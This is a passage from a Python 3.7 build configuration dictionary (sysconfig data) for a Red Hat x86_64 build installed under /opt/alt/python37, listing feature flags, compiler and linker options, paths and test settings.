'HAVE_BLUETOOTH_H': 0, 'HAVE_BROKEN_MBSTOWCS': 0, 'HAVE_BROKEN_NICE': 0, 'HAVE_BROKEN_PIPE_BUF': 0, 'HAVE_BROKEN_POLL': 0, 'HAVE_BROKEN_POSIX_SEMAPHORES': 0, 'HAVE_BROKEN_PTHREAD_SIGMASK': 0, 'HAVE_BROKEN_SEM_GETVALUE': 0, 'HAVE_BROKEN_UNSETENV': 0, 'HAVE_BUILTIN_ATOMIC': 1, 'HAVE_CHFLAGS': 0, 'HAVE_CHOWN': 1, 'HAVE_CHROOT': 1, 'HAVE_CLOCK': 1, 'HAVE_CLOCK_GETRES': 1, 'HAVE_CLOCK_GETTIME': 1, 'HAVE_CLOCK_SETTIME': 1, 'HAVE_COMPUTED_GOTOS': 1, 'HAVE_CONFSTR': 1, 'HAVE_CONIO_H': 0, 'HAVE_COPYSIGN': 1, 'HAVE_CRYPT_H': 1, 'HAVE_CRYPT_R': 1, 'HAVE_CTERMID': 1, 'HAVE_CTERMID_R': 0, 'HAVE_CURSES_FILTER': 1, 'HAVE_CURSES_H': 1, 'HAVE_CURSES_HAS_KEY': 1, 'HAVE_CURSES_IMMEDOK': 1, 'HAVE_CURSES_IS_PAD': 1, 'HAVE_CURSES_IS_TERM_RESIZED': 1, 'HAVE_CURSES_RESIZETERM': 1, 'HAVE_CURSES_RESIZE_TERM': 1, 'HAVE_CURSES_SYNCOK': 1, 'HAVE_CURSES_TYPEAHEAD': 1, 'HAVE_CURSES_USE_ENV': 1, 'HAVE_CURSES_WCHGAT': 1, 'HAVE_DECL_ISFINITE': 1, 'HAVE_DECL_ISINF': 1, 'HAVE_DECL_ISNAN': 1, 'HAVE_DECL_RTLD_DEEPBIND': 1, 'HAVE_DECL_RTLD_GLOBAL': 1, 'HAVE_DECL_RTLD_LAZY': 1, 'HAVE_DECL_RTLD_LOCAL': 1, 'HAVE_DECL_RTLD_MEMBER': 0, 'HAVE_DECL_RTLD_NODELETE': 1, 'HAVE_DECL_RTLD_NOLOAD': 1, 'HAVE_DECL_RTLD_NOW': 1, 'HAVE_DECL_TZNAME': 0, 'HAVE_DEVICE_MACROS': 1, 'HAVE_DEV_PTC': 0, 'HAVE_DEV_PTMX': 1, 'HAVE_DIRECT_H': 0, 'HAVE_DIRENT_D_TYPE': 1, 'HAVE_DIRENT_H': 1, 'HAVE_DIRFD': 1, 'HAVE_DLFCN_H': 1, 'HAVE_DLOPEN': 1, 'HAVE_DUP2': 1, 'HAVE_DUP3': 1, 'HAVE_DYNAMIC_LOADING': 1, 'HAVE_ENDIAN_H': 1, 'HAVE_EPOLL': 1, 'HAVE_EPOLL_CREATE1': 1, 'HAVE_ERF': 1, 'HAVE_ERFC': 1, 'HAVE_ERRNO_H': 1, 'HAVE_EXECV': 1, 'HAVE_EXPM1': 1, 'HAVE_FACCESSAT': 1, 'HAVE_FCHDIR': 1, 'HAVE_FCHMOD': 1, 'HAVE_FCHMODAT': 1, 'HAVE_FCHOWN': 1, 'HAVE_FCHOWNAT': 1, 'HAVE_FCNTL_H': 1, 'HAVE_FDATASYNC': 1, 'HAVE_FDOPENDIR': 1, 'HAVE_FEXECVE': 1, 'HAVE_FINITE': 1, 'HAVE_FLOCK': 1, 'HAVE_FORK': 1, 'HAVE_FORKPTY': 1, 'HAVE_FPATHCONF': 1, 'HAVE_FSEEK64': 0, 'HAVE_FSEEKO': 1, 'HAVE_FSTATAT': 1, 'HAVE_FSTATVFS': 1, 'HAVE_FSYNC': 1, 'HAVE_FTELL64': 0, 'HAVE_FTELLO': 1, 'HAVE_FTIME': 1, 'HAVE_FTRUNCATE': 1, 'HAVE_FUTIMENS': 1, 'HAVE_FUTIMES': 1, 'HAVE_FUTIMESAT': 1, 'HAVE_GAI_STRERROR': 1, 'HAVE_GAMMA': 1, 'HAVE_GCC_ASM_FOR_MC68881': 0, 'HAVE_GCC_ASM_FOR_X64': 1, 'HAVE_GCC_ASM_FOR_X87': 1, 'HAVE_GCC_UINT128_T': 1, 'HAVE_GETADDRINFO': 1, 'HAVE_GETC_UNLOCKED': 1, 'HAVE_GETENTROPY': 1, 'HAVE_GETGROUPLIST': 1, 'HAVE_GETGROUPS': 1, 'HAVE_GETHOSTBYNAME': 0, 'HAVE_GETHOSTBYNAME_R': 1, 'HAVE_GETHOSTBYNAME_R_3_ARG': 0, 'HAVE_GETHOSTBYNAME_R_5_ARG': 0, 'HAVE_GETHOSTBYNAME_R_6_ARG': 1, 'HAVE_GETITIMER': 1, 'HAVE_GETLOADAVG': 1, 'HAVE_GETLOGIN': 1, 'HAVE_GETNAMEINFO': 1, 'HAVE_GETPAGESIZE': 1, 'HAVE_GETPEERNAME': 1, 'HAVE_GETPGID': 1, 'HAVE_GETPGRP': 1, 'HAVE_GETPID': 1, 'HAVE_GETPRIORITY': 1, 'HAVE_GETPWENT': 1, 'HAVE_GETRANDOM': 1, 'HAVE_GETRANDOM_SYSCALL': 1, 'HAVE_GETRESGID': 1, 'HAVE_GETRESUID': 1, 'HAVE_GETSID': 1, 'HAVE_GETSPENT': 1, 'HAVE_GETSPNAM': 1, 'HAVE_GETTIMEOFDAY': 1, 'HAVE_GETWD': 1, 'HAVE_GLIBC_MEMMOVE_BUG': 1, 'HAVE_GRP_H': 1, 'HAVE_HSTRERROR': 1, 'HAVE_HTOLE64': 1, 'HAVE_HYPOT': 1, 'HAVE_IEEEFP_H': 0, 'HAVE_IF_NAMEINDEX': 1, 'HAVE_INET_ATON': 1, 'HAVE_INET_PTON': 1, 'HAVE_INITGROUPS': 1, 'HAVE_INTTYPES_H': 1, 'HAVE_IO_H': 0, 'HAVE_IPA_PURE_CONST_BUG': 0, 'HAVE_KILL': 1, 'HAVE_KILLPG': 1, 'HAVE_KQUEUE': 0, 'HAVE_LANGINFO_H': 1, 'HAVE_LARGEFILE_SUPPORT': 0, 'HAVE_LCHFLAGS': 0, 'HAVE_LCHMOD': 0, 'HAVE_LCHOWN': 1, 'HAVE_LGAMMA': 1, 'HAVE_LIBDL': 1, 'HAVE_LIBDLD': 0, 'HAVE_LIBIEEE': 0, 'HAVE_LIBINTL_H': 1, 'HAVE_LIBREADLINE': 1, 'HAVE_LIBRESOLV': 0, 'HAVE_LIBSENDFILE': 0, 'HAVE_LIBUTIL_H': 0, 'HAVE_LINK': 1, 'HAVE_LINKAT': 1, 'HAVE_LINUX_CAN_BCM_H': 1, 'HAVE_LINUX_CAN_H': 1, 'HAVE_LINUX_CAN_RAW_FD_FRAMES': 1, 'HAVE_LINUX_CAN_RAW_H': 1, 'HAVE_LINUX_NETLINK_H': 1, 'HAVE_LINUX_RANDOM_H': 1, 'HAVE_LINUX_TIPC_H': 1, 'HAVE_LINUX_VM_SOCKETS_H': 1, 'HAVE_LOCKF': 1, 'HAVE_LOG1P': 1, 'HAVE_LOG2': 1, 'HAVE_LONG_DOUBLE': 1, 'HAVE_LSTAT': 1, 'HAVE_LUTIMES': 1, 'HAVE_MAKEDEV': 1, 'HAVE_MBRTOWC': 1, 'HAVE_MEMORY_H': 1, 'HAVE_MEMRCHR': 1, 'HAVE_MKDIRAT': 1, 'HAVE_MKFIFO': 1, 'HAVE_MKFIFOAT': 1, 'HAVE_MKNOD': 1, 'HAVE_MKNODAT': 1, 'HAVE_MKTIME': 1, 'HAVE_MMAP': 1, 'HAVE_MREMAP': 1, 'HAVE_NCURSES_H': 1, 'HAVE_NDIR_H': 0, 'HAVE_NETPACKET_PACKET_H': 1, 'HAVE_NET_IF_H': 1, 'HAVE_NICE': 1, 'HAVE_OPENAT': 1, 'HAVE_OPENPTY': 1, 'HAVE_PATHCONF': 1, 'HAVE_PAUSE': 1, 'HAVE_PIPE2': 1, 'HAVE_PLOCK': 0, 'HAVE_POLL': 1, 'HAVE_POLL_H': 1, 'HAVE_POSIX_FADVISE': 1, 'HAVE_POSIX_FALLOCATE': 1, 'HAVE_POSIX_SPAWN': 1, 'HAVE_PREAD': 1, 'HAVE_PREADV': 1, 'HAVE_PREADV2': 1, 'HAVE_PRLIMIT': 1, 'HAVE_PROCESS_H': 0, 'HAVE_PROTOTYPES': 1, 'HAVE_PTHREAD_DESTRUCTOR': 0, 'HAVE_PTHREAD_GETCPUCLOCKID': 1, 'HAVE_PTHREAD_H': 1, 'HAVE_PTHREAD_INIT': 0, 'HAVE_PTHREAD_KILL': 1, 'HAVE_PTHREAD_SIGMASK': 1, 'HAVE_PTY_H': 1, 'HAVE_PUTENV': 1, 'HAVE_PWRITE': 1, 'HAVE_PWRITEV': 1, 'HAVE_PWRITEV2': 1, 'HAVE_READLINK': 1, 'HAVE_READLINKAT': 1, 'HAVE_READV': 1, 'HAVE_REALPATH': 1, 'HAVE_RENAMEAT': 1, 'HAVE_RL_APPEND_HISTORY': 1, 'HAVE_RL_CATCH_SIGNAL': 1, 'HAVE_RL_COMPLETION_APPEND_CHARACTER': 1, 'HAVE_RL_COMPLETION_DISPLAY_MATCHES_HOOK': 1, 'HAVE_RL_COMPLETION_MATCHES': 1, 'HAVE_RL_COMPLETION_SUPPRESS_APPEND': 1, 'HAVE_RL_PRE_INPUT_HOOK': 1, 'HAVE_RL_RESIZE_TERMINAL': 1, 'HAVE_ROUND': 1, 'HAVE_SCHED_GET_PRIORITY_MAX': 1, 'HAVE_SCHED_H': 1, 'HAVE_SCHED_RR_GET_INTERVAL': 1, 'HAVE_SCHED_SETAFFINITY': 1, 'HAVE_SCHED_SETPARAM': 1, 'HAVE_SCHED_SETSCHEDULER': 1, 'HAVE_SEM_GETVALUE': 1, 'HAVE_SEM_OPEN': 1, 'HAVE_SEM_TIMEDWAIT': 1, 'HAVE_SEM_UNLINK': 1, 'HAVE_SENDFILE': 1, 'HAVE_SETEGID': 1, 'HAVE_SETEUID': 1, 'HAVE_SETGID': 1, 'HAVE_SETGROUPS': 1, 'HAVE_SETHOSTNAME': 1, 'HAVE_SETITIMER': 1, 'HAVE_SETLOCALE': 1, 'HAVE_SETPGID': 1, 'HAVE_SETPGRP': 1, 'HAVE_SETPRIORITY': 1, 'HAVE_SETREGID': 1, 'HAVE_SETRESGID': 1, 'HAVE_SETRESUID': 1, 'HAVE_SETREUID': 1, 'HAVE_SETSID': 1, 'HAVE_SETUID': 1, 'HAVE_SETVBUF': 1, 'HAVE_SHADOW_H': 1, 'HAVE_SIGACTION': 1, 'HAVE_SIGALTSTACK': 1, 'HAVE_SIGINFO_T_SI_BAND': 1, 'HAVE_SIGINTERRUPT': 1, 'HAVE_SIGNAL_H': 1, 'HAVE_SIGPENDING': 1, 'HAVE_SIGRELSE': 1, 'HAVE_SIGTIMEDWAIT': 1, 'HAVE_SIGWAIT': 1, 'HAVE_SIGWAITINFO': 1, 'HAVE_SNPRINTF': 1, 'HAVE_SOCKADDR_ALG': 1, 'HAVE_SOCKADDR_SA_LEN': 0, 'HAVE_SOCKADDR_STORAGE': 1, 'HAVE_SOCKETPAIR': 1, 'HAVE_SPAWN_H': 1, 'HAVE_SSIZE_T': 1, 'HAVE_STATVFS': 1, 'HAVE_STAT_TV_NSEC': 1, 'HAVE_STAT_TV_NSEC2': 0, 'HAVE_STDARG_PROTOTYPES': 1, 'HAVE_STDINT_H': 1, 'HAVE_STDLIB_H': 1, 'HAVE_STD_ATOMIC': 1, 'HAVE_STRDUP': 1, 'HAVE_STRFTIME': 1, 'HAVE_STRINGS_H': 1, 'HAVE_STRING_H': 1, 'HAVE_STRLCPY': 0, 'HAVE_STROPTS_H': 0, 'HAVE_STRUCT_PASSWD_PW_GECOS': 1, 'HAVE_STRUCT_PASSWD_PW_PASSWD': 1, 'HAVE_STRUCT_STAT_ST_BIRTHTIME': 0, 'HAVE_STRUCT_STAT_ST_BLKSIZE': 1, 'HAVE_STRUCT_STAT_ST_BLOCKS': 1, 'HAVE_STRUCT_STAT_ST_FLAGS': 0, 'HAVE_STRUCT_STAT_ST_GEN': 0, 'HAVE_STRUCT_STAT_ST_RDEV': 1, 'HAVE_STRUCT_TM_TM_ZONE': 1, 'HAVE_SYMLINK': 1, 'HAVE_SYMLINKAT': 1, 'HAVE_SYNC': 1, 'HAVE_SYSCONF': 1, 'HAVE_SYSEXITS_H': 1, 'HAVE_SYS_AUDIOIO_H': 0, 'HAVE_SYS_BSDTTY_H': 0, 'HAVE_SYS_DEVPOLL_H': 0, 'HAVE_SYS_DIR_H': 0, 'HAVE_SYS_ENDIAN_H': 0, 'HAVE_SYS_EPOLL_H': 1, 'HAVE_SYS_EVENT_H': 0, 'HAVE_SYS_FILE_H': 1, 'HAVE_SYS_IOCTL_H': 1, 'HAVE_SYS_KERN_CONTROL_H': 0, 'HAVE_SYS_LOADAVG_H': 0, 'HAVE_SYS_LOCK_H': 0, 'HAVE_SYS_MKDEV_H': 0, 'HAVE_SYS_MODEM_H': 0, 'HAVE_SYS_NDIR_H': 0, 'HAVE_SYS_PARAM_H': 1, 'HAVE_SYS_POLL_H': 1, 'HAVE_SYS_RANDOM_H': 1, 'HAVE_SYS_RESOURCE_H': 1, 'HAVE_SYS_SELECT_H': 1, 'HAVE_SYS_SENDFILE_H': 1, 'HAVE_SYS_SOCKET_H': 1, 'HAVE_SYS_STATVFS_H': 1, 'HAVE_SYS_STAT_H': 1, 'HAVE_SYS_SYSCALL_H': 1, 'HAVE_SYS_SYSMACROS_H': 1, 'HAVE_SYS_SYS_DOMAIN_H': 0, 'HAVE_SYS_TERMIO_H': 0, 'HAVE_SYS_TIMES_H': 1, 'HAVE_SYS_TIME_H': 1, 'HAVE_SYS_TYPES_H': 1, 'HAVE_SYS_UIO_H': 1, 'HAVE_SYS_UN_H': 1, 'HAVE_SYS_UTSNAME_H': 1, 'HAVE_SYS_WAIT_H': 1, 'HAVE_SYS_XATTR_H': 1, 'HAVE_TCGETPGRP': 1, 'HAVE_TCSETPGRP': 1, 'HAVE_TEMPNAM': 1, 'HAVE_TERMIOS_H': 1, 'HAVE_TERM_H': 1, 'HAVE_TGAMMA': 1, 'HAVE_TIMEGM': 1, 'HAVE_TIMES': 1, 'HAVE_TMPFILE': 1, 'HAVE_TMPNAM': 1, 'HAVE_TMPNAM_R': 1, 'HAVE_TM_ZONE': 1, 'HAVE_TRUNCATE': 1, 'HAVE_TZNAME': 0, 'HAVE_UCS4_TCL': 0, 'HAVE_UNAME': 1, 'HAVE_UNISTD_H': 1, 'HAVE_UNLINKAT': 1, 'HAVE_UNSETENV': 1, 'HAVE_USABLE_WCHAR_T': 0, 'HAVE_UTIL_H': 0, 'HAVE_UTIMENSAT': 1, 'HAVE_UTIMES': 1, 'HAVE_UTIME_H': 1, 'HAVE_UUID_CREATE': 0, 'HAVE_UUID_ENC_BE': 0, 'HAVE_UUID_GENERATE_TIME_SAFE': 0, 'HAVE_UUID_H': 0, 'HAVE_UUID_UUID_H': 0, 'HAVE_WAIT3': 1, 'HAVE_WAIT4': 1, 'HAVE_WAITID': 1, 'HAVE_WAITPID': 1, 'HAVE_WCHAR_H': 1, 'HAVE_WCSCOLL': 1, 'HAVE_WCSFTIME': 1, 'HAVE_WCSXFRM': 1, 'HAVE_WMEMCMP': 1, 'HAVE_WORKING_TZSET': 1, 'HAVE_WRITEV': 1, 'HAVE_X509_VERIFY_PARAM_SET1_HOST': 1, 'HAVE_ZLIB_COPY': 1, 'HAVE__GETPTY': 0, 'HOST_GNU_TYPE': 'x86_64-redhat-linux-gnu', 'INCLDIRSTOMAKE': '/opt/alt/python37/include ' '/opt/alt/python37/include/python3.7m', 'INCLUDEDIR': '/opt/alt/python37/include', 'INCLUDEPY': '/opt/alt/python37/include/python3.7m', 'INSTALL': '/usr/bin/install -c', 'INSTALL_DATA': '/usr/bin/install -c -m 644', 'INSTALL_PROGRAM': '/usr/bin/install -c', 'INSTALL_SCRIPT': '/usr/bin/install -c', 'INSTALL_SHARED': '/usr/bin/install -c -m 555', 'INSTSONAME': 'libpython3.7m.so.1.0', 'IO_H': 'Modules/_io/_iomodule.h', 'IO_OBJS': '\\', 'LDCXXSHARED': 'g++ -shared', 'LDFLAGS': '-Wl,-z,relro -Wl,--as-needed -Wl,-z,now ' '-specs=/usr/lib/rpm/redhat/redhat-hardened-ld ' '-specs=/usr/lib/rpm/redhat/redhat-annobin-cc1 ' '-L/opt/alt/python37/lib64 -Wl,-rpath=/opt/alt/python37/lib64', 'LDFLAGS_NODIST': '', 'LDLAST': '', 'LDLIBRARY': 'libpython3.7m.so', 'LDLIBRARYDIR': '', 'LDSHARED': 'gcc -shared -Wl,-z,relro -Wl,--as-needed -Wl,-z,now ' '-specs=/usr/lib/rpm/redhat/redhat-hardened-ld ' '-specs=/usr/lib/rpm/redhat/redhat-annobin-cc1 ' '-L/opt/alt/python37/lib64 -Wl,-rpath=/opt/alt/python37/lib64', 'LDVERSION': '3.7m', 'LIBC': '', 'LIBDEST': '/opt/alt/python37/lib64/python3.7', 'LIBDIR': '/opt/alt/python37/lib64', 'LIBFFI_INCLUDEDIR': '', 'LIBM': '-lm', 'LIBOBJDIR': 'Python/', 'LIBOBJS': '', 'LIBPC': '/opt/alt/python37/lib64/pkgconfig', 'LIBPL': '/opt/alt/python37/lib64/python3.7/config-3.7m', 'LIBRARY': 'libpython3.7m.a', 'LIBRARY_OBJS': '\\', 'LIBRARY_OBJS_OMIT_FROZEN': '\\', 'LIBS': '-lcrypt -ldl', 'LIBSUBDIRS': 'tkinter tkinter/test tkinter/test/test_tkinter \\', 'LINKCC': 'gcc', 'LINKFORSHARED': '-Xlinker -export-dynamic', 'LIPO_32BIT_FLAGS': '', 'LLVM_PROF_ERR': 'no', 'LLVM_PROF_FILE': '', 'LLVM_PROF_MERGER': 'true', 'LN': 'ln', 'LOCALMODLIBS': '', 'LOG1P_DROPS_ZERO_SIGN': 0, 'MACHDEP': 'linux', 'MACHDEP_OBJS': '', 'MACHDESTLIB': '/opt/alt/python37/lib64/python3.7', 'MACOSX_DEPLOYMENT_TARGET': '', 'MAINCC': 'gcc', 'MAJOR_IN_MKDEV': 0, 'MAJOR_IN_SYSMACROS': 1, 'MAKESETUP': '/builddir/build/BUILD/Python-3.7.17/Modules/makesetup', 'MANDIR': '/opt/alt/python37/share/man', 'MKDIR_P': '/usr/bin/mkdir -p', 'MODBUILT_NAMES': 'posix errno pwd _sre _codecs _weakref _functools ' '_operator _collections _abc itertools atexit _signal ' '_stat time _thread _locale _io zipimport ' 'faulthandler _tracemalloc _symtable xxsubtype', 'MODDISABLED_NAMES': '', 'MODLIBS': '', 'MODOBJS': 'Modules/posixmodule.o Modules/errnomodule.o ' 'Modules/pwdmodule.o Modules/_sre.o Modules/_codecsmodule.o ' 'Modules/_weakref.o Modules/_functoolsmodule.o ' 'Modules/_operator.o Modules/_collectionsmodule.o ' 'Modules/_abc.o Modules/itertoolsmodule.o ' 'Modules/atexitmodule.o Modules/signalmodule.o Modules/_stat.o ' 'Modules/timemodule.o Modules/_threadmodule.o ' 'Modules/_localemodule.o Modules/_iomodule.o Modules/iobase.o ' 'Modules/fileio.o Modules/bytesio.o Modules/bufferedio.o ' 'Modules/textio.o Modules/stringio.o Modules/zipimport.o ' 'Modules/faulthandler.o Modules/_tracemalloc.o ' 'Modules/hashtable.o Modules/symtablemodule.o ' 'Modules/xxsubtype.o', 'MODULE_OBJS': '\\', 'MULTIARCH': 'x86_64-linux-gnu', 'MULTIARCH_CPPFLAGS': '-DMULTIARCH=\\"x86_64-linux-gnu\\"', 'MVWDELCH_IS_EXPRESSION': 1, 'NO_AS_NEEDED': '-Wl,--no-as-needed', 'OBJECT_OBJS': '\\', 'OPENSSL_INCLUDES': '', 'OPENSSL_LDFLAGS': '', 'OPENSSL_LIBS': '-lssl -lcrypto', 'OPT': '-DDYNAMIC_ANNOTATIONS_ENABLED=1 -DNDEBUG -O2 -flto=auto ' '-ffat-lto-objects -fexceptions -g -grecord-gcc-switches -pipe -Wall ' '-Werror=format-security -Wp,-D_FORTIFY_SOURCE=2 ' '-Wp,-D_GLIBCXX_ASSERTIONS ' '-specs=/usr/lib/rpm/redhat/redhat-hardened-cc1 ' '-fstack-protector-strong ' '-specs=/usr/lib/rpm/redhat/redhat-annobin-cc1 -m64 -march=x86-64-v2 ' '-mtune=generic -fasynchronous-unwind-tables -fstack-clash-protection ' '-fcf-protection -D_GNU_SOURCE -fPIC -fwrapv', 'OTHER_LIBTOOL_OPT': '', 'PACKAGE_BUGREPORT': 0, 'PACKAGE_NAME': 0, 'PACKAGE_STRING': 0, 'PACKAGE_TARNAME': 0, 'PACKAGE_URL': 0, 'PACKAGE_VERSION': 0, 'PARSER_HEADERS': '\\', 'PARSER_OBJS': '\\ Parser/myreadline.o Parser/parsetok.o Parser/tokenizer.o', 'PGEN': 'Parser/pgen', 'PGENOBJS': '\\', 'PGOBJS': '\\', 'PGO_PROF_GEN_FLAG': '-fprofile-generate', 'PGO_PROF_USE_FLAG': '-fprofile-use -fprofile-correction', 'POBJS': '\\', 'POSIX_SEMAPHORES_NOT_ENABLED': 0, 'PROFILE_TASK': '-m test.regrtest --pgo', 'PTHREAD_KEY_T_IS_COMPATIBLE_WITH_INT': 1, 'PTHREAD_SYSTEM_SCHED_SUPPORTED': 1, 'PY3LIBRARY': 'libpython3.so', 'PYLONG_BITS_IN_DIGIT': 0, 'PYTHON': 'python', 'PYTHONFRAMEWORK': '', 'PYTHONFRAMEWORKDIR': 'no-framework', 'PYTHONFRAMEWORKINSTALLDIR': '', 'PYTHONFRAMEWORKPREFIX': '', 'PYTHONPATH': '', 'PYTHON_FOR_BUILD': './python -E', 'PYTHON_FOR_REGEN': 'python3', 'PYTHON_HEADERS': '\\', 'PYTHON_OBJS': '\\', 'PY_BUILTIN_MODULE_CFLAGS': '-Wno-unused-result -Wsign-compare ' '-DDYNAMIC_ANNOTATIONS_ENABLED=1 -DNDEBUG -O2 ' '-flto=auto -ffat-lto-objects -fexceptions -g ' '-grecord-gcc-switches -pipe -Wall ' '-Werror=format-security -Wp,-D_FORTIFY_SOURCE=2 ' '-Wp,-D_GLIBCXX_ASSERTIONS ' '-specs=/usr/lib/rpm/redhat/redhat-hardened-cc1 ' '-fstack-protector-strong ' '-specs=/usr/lib/rpm/redhat/redhat-annobin-cc1 ' '-m64 -march=x86-64-v2 -mtune=generic ' '-fasynchronous-unwind-tables ' '-fstack-clash-protection -fcf-protection ' '-D_GNU_SOURCE -fPIC -fwrapv -std=c99 -Wextra ' '-Wno-unused-result -Wno-unused-parameter ' '-Wno-missing-field-initializers ' '-Wno-cast-function-type ' '-Werror=implicit-function-declaration -IObjects ' '-IInclude -IPython -I. ' '-I/builddir/build/BUILD/Python-3.7.17/Include ' '-DPy_BUILD_CORE_BUILTIN', 'PY_CFLAGS': '-Wno-unused-result -Wsign-compare ' '-DDYNAMIC_ANNOTATIONS_ENABLED=1 -DNDEBUG -O2 -flto=auto ' '-ffat-lto-objects -fexceptions -g -grecord-gcc-switches -pipe ' '-Wall -Werror=format-security -Wp,-D_FORTIFY_SOURCE=2 ' '-Wp,-D_GLIBCXX_ASSERTIONS ' '-specs=/usr/lib/rpm/redhat/redhat-hardened-cc1 ' '-fstack-protector-strong ' '-specs=/usr/lib/rpm/redhat/redhat-annobin-cc1 -m64 ' '-march=x86-64-v2 -mtune=generic -fasynchronous-unwind-tables ' '-fstack-clash-protection -fcf-protection -D_GNU_SOURCE -fPIC ' '-fwrapv', 'PY_CFLAGS_NODIST': '-std=c99 -Wextra -Wno-unused-result ' '-Wno-unused-parameter -Wno-missing-field-initializers ' '-Wno-cast-function-type ' '-Werror=implicit-function-declaration', 'PY_COERCE_C_LOCALE': 1, 'PY_CORE_CFLAGS': '-Wno-unused-result -Wsign-compare ' '-DDYNAMIC_ANNOTATIONS_ENABLED=1 -DNDEBUG -O2 -flto=auto ' '-ffat-lto-objects -fexceptions -g -grecord-gcc-switches ' '-pipe -Wall -Werror=format-security ' '-Wp,-D_FORTIFY_SOURCE=2 -Wp,-D_GLIBCXX_ASSERTIONS ' '-specs=/usr/lib/rpm/redhat/redhat-hardened-cc1 ' '-fstack-protector-strong ' '-specs=/usr/lib/rpm/redhat/redhat-annobin-cc1 -m64 ' '-march=x86-64-v2 -mtune=generic ' '-fasynchronous-unwind-tables -fstack-clash-protection ' '-fcf-protection -D_GNU_SOURCE -fPIC -fwrapv -std=c99 ' '-Wextra -Wno-unused-result -Wno-unused-parameter ' '-Wno-missing-field-initializers -Wno-cast-function-type ' '-Werror=implicit-function-declaration -IObjects -IInclude ' '-IPython -I. -I/builddir/build/BUILD/Python-3.7.17/Include ' '-DPy_BUILD_CORE', 'PY_CORE_LDFLAGS': '-Wl,-z,relro -Wl,--as-needed -Wl,-z,now ' '-specs=/usr/lib/rpm/redhat/redhat-hardened-ld ' '-specs=/usr/lib/rpm/redhat/redhat-annobin-cc1 ' '-L/opt/alt/python37/lib64 ' '-Wl,-rpath=/opt/alt/python37/lib64', 'PY_CPPFLAGS': '-IObjects -IInclude -IPython -I. ' '-I/builddir/build/BUILD/Python-3.7.17/Include', 'PY_FORMAT_SIZE_T': '"z"', 'PY_LDFLAGS': '-Wl,-z,relro -Wl,--as-needed -Wl,-z,now ' '-specs=/usr/lib/rpm/redhat/redhat-hardened-ld ' '-specs=/usr/lib/rpm/redhat/redhat-annobin-cc1 ' '-L/opt/alt/python37/lib64 -Wl,-rpath=/opt/alt/python37/lib64', 'PY_LDFLAGS_NODIST': '', 'PY_SSL_DEFAULT_CIPHERS': 1, 'PY_SSL_DEFAULT_CIPHER_STRING': 0, 'PY_STDMODULE_CFLAGS': '-Wno-unused-result -Wsign-compare ' '-DDYNAMIC_ANNOTATIONS_ENABLED=1 -DNDEBUG -O2 ' '-flto=auto -ffat-lto-objects -fexceptions -g ' '-grecord-gcc-switches -pipe -Wall ' '-Werror=format-security -Wp,-D_FORTIFY_SOURCE=2 ' '-Wp,-D_GLIBCXX_ASSERTIONS ' '-specs=/usr/lib/rpm/redhat/redhat-hardened-cc1 ' '-fstack-protector-strong ' '-specs=/usr/lib/rpm/redhat/redhat-annobin-cc1 -m64 ' '-march=x86-64-v2 -mtune=generic ' '-fasynchronous-unwind-tables -fstack-clash-protection ' '-fcf-protection -D_GNU_SOURCE -fPIC -fwrapv -std=c99 ' '-Wextra -Wno-unused-result -Wno-unused-parameter ' '-Wno-missing-field-initializers ' '-Wno-cast-function-type ' '-Werror=implicit-function-declaration -IObjects ' '-IInclude -IPython -I. ' '-I/builddir/build/BUILD/Python-3.7.17/Include', 'Py_DEBUG': 0, 'Py_ENABLE_SHARED': 1, 'Py_HASH_ALGORITHM': 0, 'QUICKTESTOPTS': '-x test_subprocess test_io test_lib2to3 \\', 'READELF': 'readelf', 'RESSRCDIR': 'Mac/Resources/framework', 'RETSIGTYPE': 'void', 'RUNSHARED': 'LD_LIBRARY_PATH=/builddir/build/BUILD/Python-3.7.17/build/optimized ' 'LD_PRELOAD=./libpython3.7m.so', 'SCRIPTDIR': '/opt/alt/python37/lib64', 'SETPGRP_HAVE_ARG': 0, 'SGI_ABI': '@SGI_ABI@', 'SHELL': '/bin/sh', 'SHLIBS': '-lcrypt -ldl', 'SHLIB_SUFFIX': '.so', 'SIGNED_RIGHT_SHIFT_ZERO_FILLS': 0, 'SITEPATH': '', 'SIZEOF_DOUBLE': 8, 'SIZEOF_FLOAT': 4, 'SIZEOF_FPOS_T': 16, 'SIZEOF_INT': 4, 'SIZEOF_LONG': 8, 'SIZEOF_LONG_DOUBLE': 16, 'SIZEOF_LONG_LONG': 8, 'SIZEOF_OFF_T': 8, 'SIZEOF_PID_T': 4, 'SIZEOF_PTHREAD_KEY_T': 4, 'SIZEOF_PTHREAD_T': 8, 'SIZEOF_SHORT': 2, 'SIZEOF_SIZE_T': 8, 'SIZEOF_TIME_T': 8, 'SIZEOF_UINTPTR_T': 8, 'SIZEOF_VOID_P': 8, 'SIZEOF_WCHAR_T': 4, 'SIZEOF__BOOL': 1, 'SOABI': 'cpython-37m-x86_64-linux-gnu', 'SRCDIRS': 'Parser Objects Python Modules Modules/_io Programs', 'SRC_GDB_HOOKS': '/builddir/build/BUILD/Python-3.7.17/Tools/gdb/libpython.py', 'STDC_HEADERS': 1, 'STRICT_SYSV_CURSES': "/* Don't use ncurses extensions */", 'STRIPFLAG': '-s', 'SUBDIRS': '', 'SUBDIRSTOO': 'Include Lib Misc', 'SYSLIBS': '-lm', 'SYS_SELECT_WITH_SYS_TIME': 1, 'TANH_PRESERVES_ZERO_SIGN': 1, 'TCLTK_INCLUDES': '', 'TCLTK_LIBS': '', 'TESTOPTS': '', 'TESTPATH': '', 'TESTPYTHON': 'LD_LIBRARY_PATH=/builddir/build/BUILD/Python-3.7.17/build/optimized ' 'LD_PRELOAD=./libpython3.7m.so ./', 'TESTPYTHONOPTS': '', 'TESTRUNNER': 'LD_LIBRARY_PATH=/builddir/build/BUILD/Python-3.7.17/build/optimized ' 'LD_PRELOAD=./libpython3.7m.so ./ /Tools/scripts/run_tests.py', 'TESTTIMEOUT': 1200, 'TIMEMODULE_LIB': 0, 'TIME_WITH_SYS_TIME': 1, 'TM_IN_SYS_TIME': 0, 'UNICODE_DEPS': '\\', 'UNIVERSALSDK': '', 'UPDATE_FILE': 'python3 ' '/builddir/build/BUILD/Python-3.7.17/Tools/scripts/update_file.py', 'USE_COMPUTED_GOTOS': 1, 'VERSION': '3.7', 'VPATH': '/builddir/build/BUILD/Python-3.7.17', 'WINDOW_HAS_FLAGS': 1, 'WITH_DECIMAL_CONTEXTVAR': 1, 'WITH_DOC_STRINGS': 1, 'WITH_DTRACE': 0, 'WITH_DYLD': 0, 'WITH_LIBINTL': 0, 'WITH_NEXT_FRAMEWORK': 0, 'WITH_PYMALLOC': 1, 'WITH_VALGRIND': 1, 'X87_DOUBLE_ROUNDING': 0, 